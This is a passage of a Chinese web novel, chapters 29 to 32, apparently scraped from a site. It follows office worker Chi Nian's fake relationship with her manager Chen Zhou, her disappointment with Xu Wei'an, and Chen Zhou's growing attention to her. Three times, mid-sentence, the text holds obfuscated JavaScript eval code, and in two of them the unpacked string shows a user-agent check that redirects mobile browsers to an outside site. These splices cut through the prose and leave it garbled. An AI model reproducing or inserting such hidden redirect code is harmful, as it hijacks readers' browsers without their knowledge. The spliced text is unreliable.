迟念眼神闪了闪,她这样说,明显不知道恋情是谎言,回忆刚才在公司里,也是拿正牌男朋友要挟,难道以为她在脚踩两只船? 她抬头,认真地说:“我们已经分手了。” 娇娇才不信,“分手了你还能和他一起上班,一起吃早餐,要这么说的话,你们其实是炮友吧。” 噗~ 迟念差点呛死。 “你好离谱!” 娇娇随口说了这一句,好似打通了任督二脉,之前想不明白的细节全都解开了。 “哦!哦!一定是这样,不然你干吗鬼鬼祟祟的藏着掖着,小陈总态度还那么冷淡,因为你们根本不是正当关系…” 迟念迅速挖了一勺蛋糕把她嘴堵上。 不想她越说越离谱,撒谎和那种不正当关系相比,还是选前者吧。 她老实坦白,“我和小陈总什么关系都没有,是我上网随便找了张照片发到朋友圈里,刚巧是他。” 娇娇冷笑,“这种说辞,只有你男朋友会信吧。我又没失忆,你仗着小陈总女朋友的身份得了多少好处,我可都替你记着呢。” 好吧,坦白无效。 果然,能平息谎言的,只能是更大的谎言。 虽然最初目的,只是单纯想让自己在公司里好过一点,不受主管骚扰,不被同事使唤,谁知道那么倒霉,选中的照片是陈昼。 她有苦难言。 回头也是死,只能往前走。 她喝掉整杯水,只剩最后一个疑问。 “你怎么知道我有男朋友?” 娇娇小口吃着蛋糕,不想说实话,毕竟偷看别人手机还拍照这种事挺不道德的。 她眼珠子转了转,故作高深,“就是知道,还知道他也是我们公司的。” 迟念追问,“你们认识?” 娇娇顺着台阶,给出模棱两可的回答,“不算熟。” “他亲口说我是他女朋友?” “啧…你问题还真多。”娇娇把叉子一扔,“闲得没事上楼干活去,一堆的事呢,我可不想加班。” 29. 第二十九章 下午五点,迟念忙里偷闲,躲进楼梯间,给许维安发消息。 【小迟】:你有话想对我说吧? 对面秒回。 【许Vivian】:神奇,你有读心术? 迟念心跳加速,推己及人,她觉得许维安也单方面把她当成女朋友了,身边的人都知道了那种。 【小迟】:不如现在说。 【许Vivian】:现在还不是时候呢,你是不是听说什么了? 迟念自然想到娇娇的话。 【小迟】:略有耳闻。 【许Vivian】:不信谣不传谣,等我亲口对你说。 【小迟】:知道啦,忙吗现在? 【许Vivian】:忙得分不清东南西北了都。 【小迟】:那你还有时间和我聊? 【许Vivian】:工作哪能和你比,就算下一秒地球毁灭了,我也会在生命的最后一刻把消息回给你。 迟念心情好到飞起。 【小迟】:好啦,去忙吧。 【许Vivian】:遵命~晚上聊。 从广安回来之后,迟念和许维安几乎每天都在联系。 闲的时候多说点,比如那晚接近五个小时的电话粥;忙的时候呢,就稍微简短,浅聊几句,互道个晚安。 在她看来,除了没有表白,和异地情侣没有差别了。 加班正式开始。 七点了,还没有结束的苗头。 娇娇理直气壮摸鱼,她忙到喝口水的时间都没有,电脑开着,同时和八个团队对接,盯得眼睛发直。 打下最后一个句号时,她关闭聊天框,长舒一口气。 终于结束了。 耳边安静,她转头看了看四周,偌大的办公区,就只剩她一个人了。 发了一会儿呆,她慢慢站起来,肩酸背痛腰也胀,扶着桌子慢慢挪动,准备去茶水间倒杯水喝。 走到门口,玻璃反光,她看到经理室的灯还亮着。 他难道还在? 她拿着半杯热水回来,纠结就这样悄悄离开呢还是告诉他一声再走,没等决定好,经理室的门就开了。 陈昼歪着头,手揉着后颈,因为动作,衬衫领口大开,他看到迟念站在几米外,似乎有些意外。 大步走过来,自然地接过她手里的水,一饮而尽。 迟念瞪大眼睛,想说“这是我喝过的”,但是第一个字还没说出口,他就已经喝完了,只能紧急变成:“我再给您倒杯热的去。” 陈昼抬眼,因为加班,嗓音有些沙哑,“您?” 迟念马上反应过来,更正道:“你,给你倒杯热的。” 他满意地点了点头,把杯子放在旁边的桌角,“不用,你那边忙完了?” “差不多了。” “正好,一起走吧。” 迟念应了一声。 她回工位收拾包,暗暗揣度,已经九点半了,陈经理不会要求送他回家吧,如果那样的话,十点半才能到家。 要是不送他,她一个人坐地铁,只需不到二十分钟。 这样一算,身心都很抗拒和他一起走,收拾包的速度也变慢,绞尽脑汁想还有什么工作需要干。 陈昼站在门口看她,年轻的女孩藏不住心事,很明显,在拖延时间。 他走到电源总开关旁,沉声说:“倒数十个数,我拉闸。” 迟念一听,三秒钟就收拾好了。 电源切断,只剩应急灯还亮着,两人并肩站在电梯口。 陈昼看着闪动的数字键,和反光镜里的迟念对上视线,她脑抽似的做起了眼保健操,不忘解释,“看屏幕太久了,有点酸。” 电梯直达负一层,陈昼拿出车钥匙。 迟念按上一层,抱歉地说:“陈经理,我突然想到七点半的时候喝了一听8度RIO,酒驾,不能送你回家了。” 陈昼挑眉,“陈经理?” 迟念无奈,艰难吐出那两个字:“陈昼,实在不好意思。” 他忽然笑了,“我没想让你送我。”说完,话锋一转,“我送你。” 迟念差点跪了,她怎么能敢啊!语无伦次地拒绝:“谢谢,不用不用麻烦,我坐地铁很方便的!” 陈昼按了下开锁键,语气暗含深意,“怎么,不相信我的车技?” “相信!”她感觉自己已经土埋半截了,整个人透出淡淡的死意,早上还在想以后能躲就躲,结果晚上又坐在一辆车里了。 只是位置调换,她坐在副驾驶。 陈昼启动车子,点开导航模式,问:“你家住哪?” “东城区吉祥大街御府花园小区24栋3单元1201。” 他打字的手顿住,溢出一声意味不明的轻笑,“不用说这么详细。” 迟念后知后觉,地址这种说出来就像顺口溜似的刹不住车,不好意思地更正:“对不起,小区门口不好拐弯,定位到吉祥大街路口就行。” 陈昼充耳不闻,直接定位到御府花园小区正门。车子启动,丝滑地拐了两个弯驶出停车场,意外地平稳。 之前还在何伶面前说他技术差,以此衬托自己,结果,秒变小丑。 夜深,马路车流稀少,上下班从公司开车到她家大约半个小时,现在道路畅通,二十分钟就能到。 可车子却龟速往前开。 迟念有些着急。 陈昼靠在椅背,单手握着方向盘,袖口挽起,露出银色的表盘,悠闲的姿态,不像在开车,倒像在酒吧卡座。 他说:“家里有人等你?” 迟念一秒回归待命状态,小声说:“没有。” “嗯?你不是和朋友合租。” “她休假回老家了。” “这样啊…”他目视前方,像和老友闲聊,随口说:“男朋友在南阳分公司,距离这么远,他愿意为了你调过来吗?” 迟念心念一动,陈经理竟然主动提,意思是有机会? 她眼神晶亮,“假如他愿意的话,容易调吗?” 陈昼没有马上回复,似是在斟酌。 “他调过来的话,属于降职。” “啊!”迟念没预料到这样的答案。 她仔细回想许维安这个人,他对工作充满热情,更是三句话不离升职,一共就相处三天,只能通过电话和微信聊天的碎片,拼凑这个人。 她越努力,他的样子就越模糊,她突然意识到,自己根本不了解他。 讪讪地说:“不清楚,他自己做主吧。” 陈昼不置可否。 迟念一路紧绷,万幸的是他没有再开口,车子停在小区正门,她解开安全带,一刻也不想多留。 道谢之后,站在路边摆手告别,“辛苦陈经理,注意安全,明天见!” * 事实证明,被领导送回家,比挤地铁还累。 迟念决定,不管在公司里还是下班后,都要尽量躲着陈昼。 一方面是单独相处时,他表现出和以前截然相反的态度让她不自在;令一方面是娇娇捏着她的把柄,迟念怕她哪天心情不好了,直接捅出去。 这导致工作量翻倍,忙得连上厕所的时间都没有。 午休时,她去在食堂遇到娇娇,深思熟虑后,用商量的口吻:“这些工作两个人干都勉强,你不能什么都不管啊。” 和她的焦头烂额相比,娇娇悠闲的像在度假。 慢悠悠地夹了一颗虾仁放进嘴里,“现在食堂里几十个人,我如果在这说你和小陈总的关系,会不会传到你男朋友耳朵里…” 迟念警铃大作,“有意思吗?” 娇娇挑衅地眨了眨眼,“可有意思了呢~” 迟念只能安慰自己,忙点儿好,以前当跑腿的时候不就希望像现在这样有事做么,权当锻炼工作能力了。 不过,为了避免上司送她回家的事情再次发生,提前把没做完的工作拷到笔记本里,拿回家收尾。 事实证明,这个方法很好。 她已经一周没见到陈昼了。 四月结束,五月开始。小长假,法定休息三天。 迟念记得许维安说过他会在长假时过来找他,可是这几天他貌似很忙,没有主动说过话。 假期前一天下午,迟念做好对接,并在工作号下挂上“休息三天,工作相关四号上班后处理”的通知,然后关掉电脑。 天气终于暖和了,在她昏天暗地加班的时候,春天悄悄来了。 她站起身,伸了一个舒服的懒腰。 去茶水间接了杯热水,她暂时忘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14807267|155647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 记工作的压力,站在十九楼的窗边,俯瞰杏花开了满城的林江。 深吸,暖风带来花的清香,城市即将被生机盎然的绿色覆盖,迟念静静地看着,连日加班的疲惫渐渐散去。 手机在兜里震动。 她拿起,是许维安。 猜测到他打电话的意图,迟念莫名紧张,许是春天的气息太过浓郁,她自然把这当成了他说过的好时机。 毕竟,春天是告白的季节。 她惴惴不安,想到连续几天的失联和即将到来的假期,难道…是特意为她准备了惊喜?或许他已经来了林江,就站在公司楼下给她打这个电话。 迟念想到在网上刷到的告白视频,脸颊腾地上烧了。 她缓了一会儿才接起。 “许维安。” “哎呦你怎么才接,我差点挂了。” 他的语气还是从前那样随意,说完这句,马上收起笑意,郑重地叫了一声她的名字:“迟念。” 迟念心跳到嗓子眼,紧张,燥热,脸颊的红幻化成火,把整个身体全都烧着了。 “嗯?” “我之前说过吧,我会亲口告诉你。” 迟念缓缓吐气,假装淡定,“对,你现在要说了?” “当然!” 许维安故意清了清嗓子,说的时候掩饰不住地激动,“您猜怎么着?产房传喜讯,我升了!升到总部了!” 迟念急忙把“我愿意”三个字生吞下去。 暂时失去语言组织能力,只能用鼻音发出一声“嗯”? 许维安春风得意,回归话痨属性,“记得培训的时候我和你说过吧,预计两年升上去,结果两个月都不到,哥们这速度堪比坐火箭了吧?” 迟念有些懵,但心底还残存着一丝幻想,或许这两件事一起说呢。 她轻笑,“是啊,呵呵,我记得。” “惊不惊喜?意不意外?” “意外。”迟念顿了顿,“你只想和我说这一件事?” 许维安安静三秒,扯着嗓子说:“这一件还不够吗?这可是大喜啊!!!” “恭喜恭喜,真替你高兴!” 随着对话时间拉长,迟念仅存的幻想渐渐熄灭,失落只是短暂,更多的是丢脸。 很明显,剃头挑子一头热,许维安根本没有那个意思。 她用一个多月的时间,把美好的幻想全都加诸在一个仅相处三天的男人身上,兴致勃勃地唱了一出单相思。 甚至骗过了自己,以为对方也是同样的心理。 挂了电话,她躲进洗手间的隔间里,把“男朋友”的备注删除,并取消置顶。页面虽清理干净,却在心里留下案底。 好不容易迈出一步,结果是这样的结局。 她心情跌到谷底。 缓了一会儿,没有变好,在推门之前,听到高跟鞋的清脆声,下意识缩回手,重新坐回去。 说话声越来越近,好像是销售部的孙莹莹,她进了隔壁的隔间,听着是在打电话。 “哎呀,你有什么不服气的,人家许维安年轻帅气学历高,同期培训的这批里,数他履历最好。” 迟念听到熟悉的名字,心脏倏地缩紧。 虽然难过,身子却不自觉歪过去,耳朵紧贴隔板。 洗手间空旷安静,孙莹莹不说话的时候,勉强能听到电话那端的声音,迟念只听出是个女人。 孙莹莹的声音透着疲惫,似乎已经劝了很久。 “是,考核各方面你是比他强,但能调到总部,上面领导应该有别的考量。” 她顿了顿,“据说这个许维安做到什么程度呢,不管是谁,不管几点,只要给他发消息,一定秒回。” 不知道这句话有没有劝到电话另一端的人,反正,隔壁的迟念是中了一箭,精准直插胸口的那种。 “当然没回过我啊,我又不认识他。不过听说总部文件下来的时候,南阳分公司的女孩都哭得梨花带雨,舍不得他走。” 孙莹莹按下冲水键,边整理衣服边说:“行了,可别emo了,五一假期我去找你呀,咱俩喝点…” 她走了,洗手间重回安静。 迟念坐在马桶盖上,偶然听到的几句话,更加坐实了自己是个小丑。 她眼泪噼里啪啦流。 30. 第三十章 在举国同休的喜庆日子里失恋,痛苦翻倍。 迟念把自己关在房子里,挑了一堆结局不好的青春疼痛电影,边看边哭,哭完一整包纸巾,心里终于痛快了点。 假期第三天,已经下午了,她还在被窝里。 手机在枕下连续震动。 新消息十几条,几乎都来自何伶,她回老家之后,一改临走前的颓废,字里行间能看出心情极好。 ——念念,咱小区对面的平房拆了,建了一个小型商场。 ——看,我新做的美甲,就在这个商场一楼,才68块钱,便宜死了! …… ——我在你家打麻将,看到消息给我弹个视频。 迟念没多想,直接发视频过去,对面秒接,一个中年男人的脸占满屏幕。 她猛地从床上坐起来,“爸?” 迟念的爸叫迟翔,在过去那个没有互联网的年代,他的名字在一众建国,建军,忠山里,算一股清流。 名字是她爷爷翻烂半本字典想出来的,希望儿子不要像自己一样困在小地方,要像雄鹰一样去外面的世界飞驰翱翔。 可惜,事与愿违。 孩子大都会走与父母期待相反的路。 看到迟念,他咧着嘴喊了一声闺女。 迟念无力地“应”了一声。 “听何伶说你快被开除了?”他的脸上透着喜气。 话音刚落,马上听到背景外何伶的反驳,掺杂在洗麻将的清脆里,断断续续,“我可没有啊,迟叔…你别乱说!” 迟念不高兴,“你也不盼着我点好。” “哎呀,我这不是想你了嘛,人何伶还是大明星呢,拍戏那么忙都能回来看看,你这放假也不回来。” “加班嘛。”迟念想了想,“过年回去。” “你这一竿子支到10个月以后了。”他故作不满,看着摄像头,清了清嗓子。 迟念见他这样,突然有种不好的预感。 果然! “听说你谈了个男朋友?” 迟念眼眶一酸,好不容易调整好的情绪又崩了,吸了吸鼻子,把摄像头移开,“瞎说什么,没有的事。” 男人朗朗一笑,“有什么不好意思的,不是和你一个公司的吗,有时间带回来看看,我给你把把关。” 迟念烦得慌,假装信号不好,故意把手机拉远,“太卡了,说的什么一个字都没听到,喂喂喂…” 然后干脆地挂断通话。 心情再次跌入低谷。 她含泪咽下教训,双手合十,发誓——以后再也不自作多情了。 * 假期结束,放纵三天的同事们接受不了这种落差,从各个角落传来叹气声。 迟念还好,忙起来不会多想,她全神贯注盯着电脑屏幕,核对报价明细表。 第一天上班,开会是免不了的,刚好韩主管出差回来,刚上班就在群里通知九点开组会,汇报近期工作进展。 小组会开完,又通知开大会。 迟念把开会需要汇报的内容打印好,送到娇娇的桌子上。 她正在忙着描眉,看都没看一眼。 大会是整个分公司全部参加,在楼层尽头最大的会议室里,陈昼站在台上,宣布新一季度的活动正式启动。 PPT分步演示,男人声音冷冽,条理清晰,只用短短几句就交代了各部门的任务,并定好销售目标。 迟念拿着圆珠笔,一字不漏地记在笔记本里。 直到听到他喊娇娇的名字。 “张娇,你上来说一下。” 娇娇如遭雷击,傻坐在椅子上,用手指了指自己,傻傻地说:“我?” 刚才小组会的时候,韩主管就定了由她汇报,看她现在这个一问三不知的样子,应该是没听进去。 迟念上下找了一圈,没看到自己刚才交给她的汇报表,小声说:“我放你桌上了,没拿进来吗?” 冷场十几秒,几十双眼睛全都看向这边,娇娇六神无主,慌得不知道怎么办好。 这里距离前面有些远,陈昼看不清她的脸,冷声催促:“怎么还不上来?” 娇娇快哭了。 情急之下,她按住迟念的肩膀,用力把她薅起来,往前一推,“你上!” 几十道目光瞬间转移到迟念身上,再坐回去已经是不可能,她没有心理准备,大脑瞬间一片空白。 需要汇报的内容她都知道,能凭记忆背出来,就是也没有当着这么多人的面讲话的勇气。 毕竟她上学的时候在班里念个作文声音都能抖成波浪。 会议室静得可怕,她手脚发麻,不知道自己是怎么从后面走到台前,站在话筒边,紧张地看了陈昼一眼。 他今天穿的黑色衬衫,袖口挽到手肘,身姿笔挺,周身笼罩在一层淡淡的光晕下,用只能她听到的音量说:“不用怕。” 只有短短三个字,迟念的紧张完全变了方向。 她慌忙移开目光,压下话筒,“大家好,我是宣传策划部的迟念,负责运营和推广,现进程如下…” 短短十分钟,迟念像在做梦。 她不知道自己怎么把写满两页的字脱稿说出来,也忘了自己是怎么下的台,直到韩主管狠拍了一下桌子,她才惊醒。 午休取消,紧急开小组会。 韩主管气得脖子通红,指着娇娇的鼻子骂:“你上班是来吃午饭的,还是来描眉画眼臭美的,啊?” 娇娇自知理亏,老老实实低头挨骂。 韩主管出差一周多,记忆还停留在把迟念踢出小组时期,他当时把重要任务都交给娇娇,想给她表现的机会。 结果呢,扶不起的阿斗。 大会结束,他被拎到办公室狠批了一顿,心里攒了一股火,越想越生气,“张娇,现在来跟我汇报一下。” 娇娇慢吞吞站起来,心虚地说:“汇报什么?” 韩主管血压飙升,他捂着后脑勺,唾沫星子横飞,“你天天在干什么你自己不知道?能干就干,不能干赶紧给我滚蛋!” 今天闹这一出,通报批评是少不了的,三个月收到两次批评,韩经理把气都撒在下面员工身上。 明眼人都能看出来,这些工作都是迟念在做,韩主管一想到她,心情就变得复杂。 她年纪小,初入社会,一个人在大城市里无依无靠,他自然产生想照顾的心理,之前也没少费心。 后来,得知她竟然是小陈总的女朋友,自己一片真心错付不说,忍着不满去讨好,竟被她当众难堪。 像他这样的年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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五十米外有家便利店,她走进去,买了一桶泡面外加两根火腿肠,店里没有热水,她还得拿回公司泡。 付完款,收银员帮忙装好袋,她套在手腕上,手里拿着一根火腿肠,熟练地从中间扭了几圈,一分两半。 如果不垫垫肚子,大概率会饿晕在半路。 撕开包装,咬了一大口,过程太专注,没有注意到黑色奔驰停在便利店门口,刚好赶在塞了满嘴时抬头,和车里的男人四目相对。 陈昼手臂搭在车窗边,几米外的女孩有些狼狈,他仔细打量,视线定在她购物袋里的桶面上,“你就吃这个?” 一直在躲的人猝不及防地出现,她没有心理准备,刚咽下去的东西堵在食管中央,赶紧猛锤几下胸口。 艰难顺下去后,她有些尴尬,“中午开会没来得及去食堂,牛肉面店也没开门,就买了桶面。”汇报完,一秒也不想多留,“我马上回去工作!” 陈昼无视她的解释,抬了抬下巴,“上车。” 迟念警铃大作,不想和他近距离接触,索性装傻没听懂,“不了不了,离公司这么近,我走两分钟就到。” 说完,拔腿就跑。 陈昼看着落荒而逃的背影,微微蹙眉。 她果然在躲。 31. 第三十一章 下午,部门里的气氛有些怪异,时不时传来窃窃私语声,迟念抬起头,察觉几道视线仓皇逃离。 她无心探究。 泡面这种东西,看别人吃时候馋,轮到自己吃就很腻。 这几天没有好好吃饭,泡面又吃得太急,吃的时候就觉得胃不舒服,吃完之后又对着电脑久坐,打了几个嗝之后,一阵阵的犯恶心。 她喝了两口水,企图压下去,结果适得其反,直接涌上酸水。 不受控制地干呕一声,狼狈地跑去洗手间。 折腾了一下午,人都飘了,好在工作量被娇娇分走了一半,没那么多活要干,硬撑着捱到五点半,再也提不起力气。 关掉电脑,她靠在椅子上小憩,胃上压着已经变温的热水袋。 还是不太舒服,好在不反酸水了,也没有想吐的感觉,她收拾收拾下班,走到电梯口的时候,刚好六点。 身后传来关门的声音,她透过电梯的反光,看到男人从经理室出来,和叶珍珠说了句什么,然后突然抬头,看向办公区。 大家都没下班,空了一个工位应该很明显吧… 电梯偏偏这个时候卡在10楼不动,她怕被逮到留下加班,慌不择路地选择走楼梯,刚下去一层,门就吱嘎一声开了。 她只觉凉风嗖嗖,下意识抬起头。 刚才还在部门里巡视的陈昼,竟然瞬移到这,她面色凄苦,赶紧捂住肚子请假,“陈经理,我胃有点疼。” 陈昼压下急促的呼吸,边下台阶边说:“怎么回事,要去医院吗?” “没那么严重。”迟念故作轻松地指了指楼下,“可能下午的饭没吃明白,去药店买盒药就好了。” 说话间,他已经走到。 突然,伸出手,干燥的掌心压在她的额头。 声控灯因为短暂的安静熄灭,眼前一片黑暗,视觉被蒙蔽,触觉却异常灵敏,迟念呆住,和世界断联了三秒。 陈昼却无比自然,咳了一声,灯再次亮起时,移开手掌。 迟念不理解他突然的动作,向后退了一步,“我是胃疼,不是发烧。” 他低头捻了捻指尖,淡淡地说:“我知道,我胃疼的时候会体温低,冒冷汗,好在你没有这种症状。” 他双手插兜,看向楼梯口,“走电梯吧,我送你。” 迟念一听,瞬间从懵神的状态里清醒,慌张拒绝,“不不不,不用麻烦,我就去后街那家药店,不远的。” “你打算吃完药回来加班?” “是。”她撒谎了。 陈昼走下三节台阶,高度刚好和她平视,如此近距离,迟念有些恍惚,这张脸若是褪去工作时的严肃,还真是毫无攻击力。 五官端正,标准的国产帅哥。 心跳加速,胃更疼了。 她赶紧捂住,脸色也变得扭曲。 他下意识伸出手,指尖在触到她衣袖时,突然停住。 灯,又灭了。 黑暗中,男人的语气不容置喙,“我送你去医院。” 距离公司最近的医院开车只需五分钟,不过只是一个中医附属院,虽然小,但是看胃疼绰绰有余了。 迟念一路都在抵抗,碎碎念着不需要,直到急诊的挂号单强硬地塞到她手上,才讪讪的闭上嘴巴。 敲门看诊,陈昼站在门口等。 迟念以为,医院的急诊室都是体力好的年轻医生,毕竟工作时间不定,还要应对突发情况,结果… 是个头发白了一半的女大夫。 她慢悠悠抬头,上下扫了一眼迟念,指了指旁边的椅子,说:“坐。” 迟念尴尬地坐下,小声说:“已经没那么难受了,开点药就行。” 大夫不急不缓,像没听到似的推了推眼镜,看完挂号单,拉长音问:“胃不舒服啊?” 迟念小鸡啄米点头,她太想速战速决了,“对,就是很久没吃方便面了,冷不丁吃有点反酸,现在好多了。” “反酸?”大夫拿笔在病例本上画符,边记边问:“恶心吗?” “恶心。” “吐没?” “呕了两次,没有吐出东西。” 大夫写完,掀起眼皮看她,像一台精密的CT仪,连站在门口只露出衣角的陈昼也没能逃脱扫描。 迟念觉得太小题大做了,平白浪费时间,自己倒没事,陈经理可是日理万机啊。 她再次和大夫提议,“真没事儿,不开药也行,我回家喝点热水就好了。” 许是她屁股着火般的急切惹了大夫不满,她把笔插在白大褂兜里,语气有些硬,“没事儿还加钱挂急诊?” 迟念哀怨地看了眼门口,心说:又不是我挂的。 大夫面色严肃,示意她把衬衫袖子挽起来,皱眉说:“你们年轻人怎么都不拿身体当回事。”说完,拉起她的手,放在桌角,两根手指压在脉搏上,问:“哪天来的月经?” “4月10…啊?”大夫音量不小,迟念惊恐地看了眼门口,“我胃不舒服和这个有关系吗?” 大夫不满她突然移动,力道突然加重,继续问:“平时用什么避孕措施?” 短短的几个字,堪比天雷,精准砸在迟念的头顶,她像一只掉进沸水里的青虾,倏地一下变红了。 手足无措地解释:“我…不需要避孕啊。” 大夫挑了挑眉,终于松开她的手,恍然道:“是在备孕啊…”说完,略带遗憾地告知,“没怀,下次再恶心的话别乱吃药,药店买根验孕棒,一块钱那种就可以。” 人在被戳到痛处时会失去理智,迟念好不容易平心的情绪卷土重来,也不管陈昼在不在门口了。 “我没结婚,没有男朋友,没有性生活,只是单纯胃疼来这开点药而已…” 刚刚愈合的伤口又渗出血丝,现在是胃疼委屈加情绪激动,突然哽住说不出话来。 身后传来脚步声,迟念的肩膀被按住,耳边一阵温热,然后是清冽的男声,“不好意思,我先带她离开。” 迟念任由自己被他带出诊室。 她突然觉得全世界都来戳自己伤口,对于许维安,没觉得自己用情至深,严格来说,甚至不算失恋。 因为实在太丢脸了,所以很难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14815918|155647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受。 她擦了下眼角,有气无力地说:“陈经理,我真的没事,浪费你时间真的太不好意思了。” 陈昼双手插兜,一身黑色在入目皆白的急诊大厅过于扎眼,却眉眼温和,和平日在公司里的严肃完全相反。 他抬起手,本想抚上脸颊,最后却落在她的肩头。像领导安慰员工一样,轻轻拍了两下,笑着说:“请你吃饭。” * 迟念拒绝不成,又不敢让他破费,执意选择医院门口的馄饨店。 热气氤氲,透明的玻璃门上覆了一层水汽。 店超级小,只有四套桌椅,老板娘招呼他们坐下之后,起身去后厨烧水,布帘传后来轰隆隆的声响。 陈昼个子高,坐在没有靠椅的木头板凳稍显局促,进来之后什么都没说,只是目光淡淡地打量桌子上的调料罐。 空气安静,男人距离极近,迟念拘谨地坐在对面,觉得这和在公司开会没什么两样。一紧张,胃又隐隐作痛。 陈昼看出她不舒服,喊老板娘要了一壶热水,用纸巾仔细地擦干净玻璃杯,倒满,送到她手边。 迟念哪享受过这种待遇,恨不得对折自己给他鞠一躬。 “谢谢谢谢!”她猛喝一大口。 话间,两碗热气腾腾的馄饨上桌了。 升腾的白雾遮住了男人的表情,待散去时,又恢复了平时。 他用勺子搅动碗底,状作无意地说:“分手了?” 迟念经过这会儿的心理建设,已经好多了,她不是那种能独自消解心事的性格,这次持续这么久,是因为何伶不在。 她要是在的话,下班回去喝点酒,对着聊个半宿,也就什么事都没有了。 “嗯,分了。”她到死都不会说自己自作多情单相思。 陈昼唇角微微扬起,很快又落下。 “听说他升职了。” “嗯。”迟念心不在焉地把晾凉的馄饨送进嘴里,闷闷地说:“他工作能力强,性格也好,升职是应该的。” 陈昼并不觉得,如果没有他插手,那个人最少还得熬两年。 听到她分手之后还在说对方好话,心情有些复杂。 “不想分?” “唔…那倒没有。”迟念真不想说这个事了,纳闷陈经理不是最讨厌说私事吗,话锋紧急一转,“我决定向他学习,在未来的日子里,努力提高业务能力和沟通技巧,争取早日成为部门骨干,为领导分忧!” 陈昼定住,勺子里的馄饨啪叽掉进碗里,看来自己对她的了解依旧很浅薄,原以为她擅长在工作时跑偏,没想到在私人时间也会诈尸一样跳回工作模式。 他挑眉,“为领导分忧?” 迟念坚定点头,狗腿地拿起桌边的醋瓶,双手送过去,“对!陈经理,来点醋吗?” 陈昼不喜欢吃酸,但没有拒绝,接过来,象征性的滴了几滴进去,抬眼看她,“胃感觉怎么样了?” 迟念挺直脊背,元气满满地说:“吃了你请的馄饨,已经痊愈了!” 陈昼看她生龙活虎,故意逗她,“那就好,吃完回去加班。” 32. 第三十二章 早上八点,迟念准时打卡。 下地铁的时候买了绿豆饼,特意给珍珠姐带了一盒,她把包放在椅子上,小碎步走到经理室门口。 叶珍珠也刚到,看到迟念怀里鼓鼓囊囊的,她猜,“绿豆饼?” “对啦~”迟念把盒子放在桌角,邀功似的说:“我记得你说过这家好吃,这盒是豆沙和板栗双拼,三分糖。” 叶珍珠眉眼弯起,伸手捏了捏她的脸颊,“谢啦,说实话,是有事求我吧?” 迟念瞪大眼睛,仿佛平白被泼了一盆脏水,怨念地说:“什么啊,我是那种人吗?” “好像不是。”叶珍珠狡黠地笑了一下,宝贝地打开盒子,从最边上捏起一个,掂了掂,沉甸甸的。 她整个放嘴里。 迟念震惊,“不噎么。” 叶珍珠小口地嚼着,含混不清地说:“没事儿,对了…”她抚了抚脖子,全都咽下去之后才问:“没给谢欢和张娇带啊?” 迟念想到这几天的事,态度顿时变得冷淡,“没有,才不给她们带呢。” “只给我带了?” “是的呀~” 叶珍珠抿了下唇角粘的糕点屑,揶揄她,“没给小陈总带?” 她这么问,是因为最近流传的好几种谣言,有说他们分手的,也有说复合的,更夸张的是,竟然还有说迟念怀孕的。 分分合合很正常,怀孕就有点离谱了,叶珍珠想听当事人亲口说。 悄咪咪靠近,眼底闪着八卦的光,“小迟,就别瞒我了,你和小陈总现在到底怎么回事?” 迟念悔不当初,怎么就那么倒霉买到的是他照片! “我俩什么事都没有,真的!”她双指朝天,眼神坚定地说:“我发誓!” 说完,怕珍珠姐不信,追加一条补充,“以前的事不要再提,以后也不会有任何交集,在公司里是上下级,下班就是陌生人。” 叶珍珠瞪大眼睛,却是看向门口,脸上的八卦神色瞬间消失,板板正正喊了一句陈经理早上好。 迟念脊背一凉。 她硬着头皮转身,果然看到神清气爽的陈昼。 天气渐热,他没穿商务套装,而是牛仔裤配平底鞋,上身白T,外面随意套了一件浅蓝色衬衫,手里拿着一杯咖啡。 工作时的压迫感消失了,但表情还是严肃的。 陈昼也不想这样,从昨晚到一分钟以前,心情是很不错的,他为自己能和她更进一步感到愉悦。 ——主动制造相处的机会,再表现出明显的偏爱。 他一直记得她说的这句话,作为一个理性思维的直男,在没有很丰富恋爱经验的前提下,只能从心仪对象那里得到方法,并付诸行动。 他自认做得很好,来到林江后,刻意制造和她私下接触的机会;至于明显的偏爱…他承认自己公私分明,不是那种在人前作秀的性格。 所以她没感受到?才脱口而出那种和他绝对不会有交集的话。 迟念鼓起勇气瞟一眼,见男人面色严肃,赶紧低头做鸵鸟,奈何刀子在空气里乱飞,刺得脊背发凉。 昨晚还挺好的,今早怎么又变冰山了。 男人开口了,“迟念,来我办公室一下。” 叶珍珠隐晦地对她眨眨眼,分明是你俩还有戏的眼神。 白说了,刚才那一堆都白说了。 迟念在心里叹气,再次体会到,维持一段虚假的关系比上班还累,疲惫地跟在他身后,走进经理室。 她仔细关好门。 陈昼脱下衬衫,随手扔在沙发角,走到办公桌后坐下,黑色的老板椅转了半圈,他直视她的脸。 迟念不知道他叫自己进来什么事,这里是半透明的,被同事看到怕是又会误会他们“藕断丝连”了。 她心虚的要死,嚅嚅地说:“陈经理,有什么事吗?” 陈昼靠在椅背,手指搭在扶手上,无意识地轻点;沉默三秒,他说:“念念。” 